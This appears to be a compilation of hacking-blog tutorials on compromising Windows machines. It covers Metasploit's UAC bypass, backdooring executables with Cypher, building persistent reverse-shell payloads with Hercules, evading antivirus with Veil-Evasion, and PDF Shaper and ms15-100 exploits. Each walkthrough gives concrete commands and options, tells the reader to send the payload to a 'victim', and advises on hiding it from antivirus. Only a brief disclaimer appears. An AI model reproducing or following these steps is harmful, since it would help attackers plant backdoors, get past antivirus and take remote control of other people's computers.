Windows

Bypass uac stands for bypassing user account control. User account control is the security measure introduced in Windows OS since Windows 7. It helps in preventing any malicious program from running with admin privileges. With UAC, applications and tasks always run with privileges of a standard or non-administrator account, unless a user authorizes administrator-level access to the system. UAC will not allow any unauthorized program from making any inadvertent changes to the system.

This may include even our meterpreter shell. We have seen many exploits where we got meterpreter shell. But when you check your privileges by typing command “getuid”, we can see that we are running as a standard user as shown below. When we try to get system privileges with  command “getsystem”, we can see it failed.

epw71

Bypass uac exploit as its name implies, bypasses the user account control security feature in Windows 7 to give us system privileges.  This is available in Metasploit. For this exploit to work, we should already have a meterpreter shell on our target system.

Now let use see how to get system privileges with this exploit. First background the current meterpreter session by typing command “background”. Next search for bypassuac exploit as shown below.

epw72

Load the exploit as shown below. Type command “show options” to see what options we need to set. We can see only one option is required: session. This is the session id number with which our previous meterpreter session was running. While we background our session, we saw that our session id number is 1. ( see the above image ). Set session id option to 1 as shown below.

epw73

Type command “exploit” to run our exploit. Type command “getsystem” to try to get the system privileges once again. This time we successfully got the system privileges as shown below.

epw74

Good morning aspiring hackers. Today we will see Windows hacking with Cypher. Cypher is a simple tool to automatically add shellcode to PE files. PE files means portable executable files.

But what is shellcode? It is a list of carefully crafted instructions that can be executed once the code is injected into a running application. So in simple terms, Cypher allows us to add shellcode to portable executable files like…. well it can be any Windows executable. Usually we use shellcode to get a remote shell or create a backdoor shell on our target system.  Cypher even allows us to get the powerful meterpreter shell.

Now let us see how to perform Windows hacking with this tool. First, let us git clone this tool into Kali Linux using commands as shown below.

cypher1

Make sure you are in the same directory where cypher is cloned. It gives information on how to create different types of payloads. Let us add a reverse meterpreter shell  using the command shown below.

cypher2

Now let us see all the options we specified.

addShell.py  : syntax of Cypher

-f                   :  the ‘f’ option stands for file. This is to specify the portable executable into which we want to create our                            backdoor. Remember that some executables are packed and don’t allow writing shell code. Test and                                use accordingly. Here, I’m using plink.exe located on my Desktop.

-t                   : the target OS for which you want to create this backdoor for. These include four options: 0,1,2,3. These                           are for Windows 7 32bit, Windows 7  64 bit, Windows 8.1 64bit and Windows 10 64bit respectively.                                 Here I have specified it as 1 since I’m testing it on Windows 7 64bit OS.

-d                  : offset. This is nothing but distance between the point where we are trying to enter our shellcode to the                           point where we are exactly placing our shellcode. Even if you don’t understand that sentence above, let                           me tell you why it’s important. The success of injecting our shellcode into an executable is that the                                   executable should work fine even after we inject our backdoor. The exe shouldn’t crash. By default, this                           value is set to four. But if your exe is crashing, set it to a greater value( I set it to 10) as I did above.

-H                : attacker’s IP address. In our case, IP address of Kali Linux.

-P                 : the port on which we want our shell back.

-p                 : Mind the lowercase. This stands for payload we want to set. ‘1’ stands for                                                                                  Windows/meterpreter/reverse_http.  The other options are,  

                        0 – windows/shell/reverse_tcp, 2- Windows/meterpreter/reverse_http + PrependMigrate,                                                3-  Windows/meterpreter/reverse_https, 4- Windows/meterpreter/reverse_https + PrependMigrate

After setting all the options, hit on Enter. The payload will be created with the same name but end with _evil as shown below. I leave sending the package to our intended victim to you but remember almost every antivirus can detect our file as malicious.

Since my blog is committed to make hacking as close to reality as possible, I have a solution. Google for “making Finfisher undetectable”. Open the first link Google search finds and follow some of the steps shown there. Trust me this works. Now send the package to the victim.

cypher3

Now to listen to our reverse shell, we need a listener. Open Metasploit and create a reverse_http listener as shown below.

cypher4

Set the required options like IP address and port. Note that they should be same as we specified while we added shell code to the file. Type run command. The exploit should hang on as shown below.

cypher5

Now when our victim clicks on the file we sent, we should get a meterpreter reverse shell as shown below.

cypher6

See how to hack Windows 10 with Hercules 

WARNING:

This post is for educational purpose only and remember that using this tutorial for any nefarious purpose will land you in prison for three years and a fine of two lakh rupees in India. Concerning other countries, Please refer your respective nation’s Cyber law.

Good news : Regardless of what the title says, this works even on windows 8 and 7

Good evening friends. I wanted to test the security of Windows 10 (actually of its antivirus ). Since remote exploits ceased to exist in Windows operating systems after Windows XP,  it can only be done by sending payloads in portable executables. The biggest challenge in sending these  malicious portable executables is bypassing its security mechanisms. Enter Hercules.

Hercules  is a special payload generator that can bypass all antivirus software. It has features like persistence and keylogger which make it too cool. Named after a Greek Hero, Hercules stands up for its name. In our testing, none of the antivirus was able to detect payload generated by Hercules. Now let us see how Hercules can be used to hack Windows 10 . In Kali Linux, open a terminal and type command git clone https://github.com/EgeBalci/Hercules to clone Hercules into Kali Linux.

hercules1

The tool is cloned into directory called Hercules. Navigate into that directory and view the contents of the directory as shown below. There is a directory called SOURCE. Move into that directory. There should be a file called HERCULES.go.

hercules2

Now type command go build HERCULES.go  to build this file. Remember Linux is very strict, so be careful with uppercase and lowercase. Once you run that command, we will get another file with the same name but without any extension as shown below.

hercules3

Now its time to create our payload. Type command,

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic 

Let me explain this command.

192.168.25.146 – IP address of our attacker system ( in our case Kali Linux )

4444 – the port number over which we want our victim system to connect to us.

-p – payload ( in this case, windows/meterpreter/reverse_tcp )

-a – architecture of the payload ( 64 bits or 32 bits )

-l – linking ( static or dynamic, dynamic linking reduces the payload size )

Hit on Enter. Our payload is created in the same directory.

hercules4

Our payload’s name is payload.exe. Type “ls”  as shown below. Now send this file to our victim using your creativity.

hercules5

On our Kali Linux, type command nc -l -p 4444. We are opening a netcat session on port 4444 ( the same port we set up above). Now when the user clicks on our payload, we will get the remote system’s shell as shown below.

hercules6

Type command help to see all the commands we can execute on our target system.

hercules7

For example, type command systeminfo to see all the system settings of our target. This was pretty simple. But this is a one time session, which means once you get out of this session you are disconnected from your victim.

hercules8

So let’s add a little bit reality to our payload this time. Now we will add two things:persistence and embedding.

–persistence – Once our payload is executed by the victim, it will continually try to connect to our attacker system. So we can end the session and start it once again. The only condition is our victim’s system should be on and of course we should be listening.

–embed – we will add a genuine executable into our payload. Type command

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic –persistence –embed=/root/Desktop/7z1602.exe 

Here we are embedding 7zip into our payload. Remember we need to send the payload created in SOURCE directory to our victim.

hercules9

So when victim clicks on our payload to install it, UAC will prompt this window( the user should get a whiff here, if he is aware ).

hercules10

When the user clicks on “yes”, the installation will progress normally on the victim’s system.

hercules11

And on our attacker system, we should have already got the victim’s shell as shown below. As I already told, this is a persistent connection. Disconnect the session by typing ‘CTRL+C” and connect again with nc -l -p 4444 to get the session back.  Hope that was helpful. If you have any queries or doubts, please feel free to leave your comments.

hercules12

Good evening friends. Today we will see how to bypass antivirus with Veil Evasion to hack a remote system. Veil-Evasion is a tool to generate payload executables that bypass common antivirus solutions. First we need to install Veil-Evasion in Kali Linux. Next, go to the installed directory as shown below. In the directory where it’s installed, there is another directory with name Veil-Evasion. Navigate to that directory. Type command “ls” to show the contents of that directory. There is a python script with name “Veil-Evasion.py”. Execute that script by typing command “./Veil-Evasion.py

veilab1

It will open the Veil evasion framework as shown below.

veilab2

It has total 46 payloads. To see the available payloads, type command “list“. Some of the available payloads are shown below.

veilab3

 

veilab4

To select any payload, just type its number. In my case, I am using “36”. I have successfully bypassed Avast antivirus with this payload. Type number “36” and hit Enter. It will show the available commands for that payload.

veilab5

Next type command “generate” to generate our payload.

veilab6

It will ask you as to how you want to generate the shellcode. Use the first option i.e msfvenom as we will use Metasploit to connect to the remote system.  It will ask you to enter the payload. By default it is “windows/meterpreter/reverse_tcp” . So just hit Enter. Then you will be prompted to enter the values of “Lhost”  and “Lport”, i.e the address of Kali Linux and local port for the connection. Hit on Enter when it asks for extra msfvenom options and the shellcode starts generating as shown below.

veilab7

Next, you will be asked to enter name for the executable of the payload. Give any name and hit on Enter. Next, it will ask you as to how you would like to create your executable. Choose the default option by just hitting “Enter” as shown below.

veilab8

Your executable will be generated and the directory in which it is created will be shown as below.

veilab9

Now we need to start Metasploit and load the handler exploit and payload as shown below.

veilab10

The payload, LHOST address and LPORT should be same as given in the executable file we created. Type command “exploit”. The exploit will stop at the stage shown below.

veilab11

Now send that executable( in this case “viras.exe” ) file to our victim. When he clicks on it, we will get a meterpreter session as shown below. Type command “sysinfo” to get the system information.

veilab12

Good evening friends. Today we will see how to exploit a Windows 7 system with PDF shaper buffer overflow exploit which exploits a vulnerability in PDF shaper 3.4. To those newbies who don’t know what is PDF shaper, it is a “collection of free PDF tools, which allows you to merge, split, encrypt and decrypt PDFs, convert images to PDF, convert PDF to Word RTF or images, extract text and images from PDF. ”

We will use Kali Linux as the attacker machine for hacking Windows 7.  Start Metasploit and search for “pdf shaper” exploit. as shown below.

pdfshaper2

 

pdfshaper3

Copy the exploit path as shown above and load the exploit as shown below. Set the payload as “windows/meterpreter/reverse_tcp”.

pdfshaper4

Set the IP address of Kali Linux as LHOST. Type command “exploit”. A pdf file will be created as shown below.

pdfshaper5

We have to send this pdf file to our target. Before that, we will have to start a listener for this specific exploit. Load the following exploit and payload as given in the below image.

pdfshaper6

Set lhost and lport exactly as same as the values we have given above. Type command “exploit”.

pdfshaper7

Now send the file to our target. When he uses PDF shaper to convert our pdf to image as shown below

pdfshaper1

pdfshaper8

pdfshaper9

we get a meterpreter session on our attacker system as shown below.

pdfshaper10

 

Good evening friends. It’s been a long time since I  made a howto on hacking. In this howto, I’m going to show you how to exploit Windows 7 using recently released ms15-100 Microsoft Windows Media Center MCL exploit. For this, I am gonna use pentest lab i created in our previous howto. I am using Kali Linux as my attacker system for hacking windows 7.

Start Metasploit by typing command “msfconsole”. Search for our exploit using command as shown below.

ms15_100a

Load the exploit as shown below.

ms15_100b

Set the IP address of Kali Linux to “srvhost” option. Set payload as “windows/meterpreter/reverse_tcp“.  Set Lhost as IP address of Kali Linux.

ms15_100c

Check if all the necessary options are set by typing command “show options“. Now run  the exploit by typing command “exploit“. You will get the following result. Now copy the underlined link and send it to your victim.

ms15_100d

When your victim clicks on the link, he will get a popup asking him to download and save the file.

ms15_100e

When the user clicks on  the downloaded file,  we will get a meterpreter session on our attacker system as shown below. Type command “sessions -l ” to see the available sessions. We have one session available below.

ms15_100f

Type command “sessions -i  1“( 1 is the session number available to us and can vary for you) to use the meterpreter session. Type “sysinfo” to know about the target system.  Hurrah, we have successfully hacked our target.

ms15_100g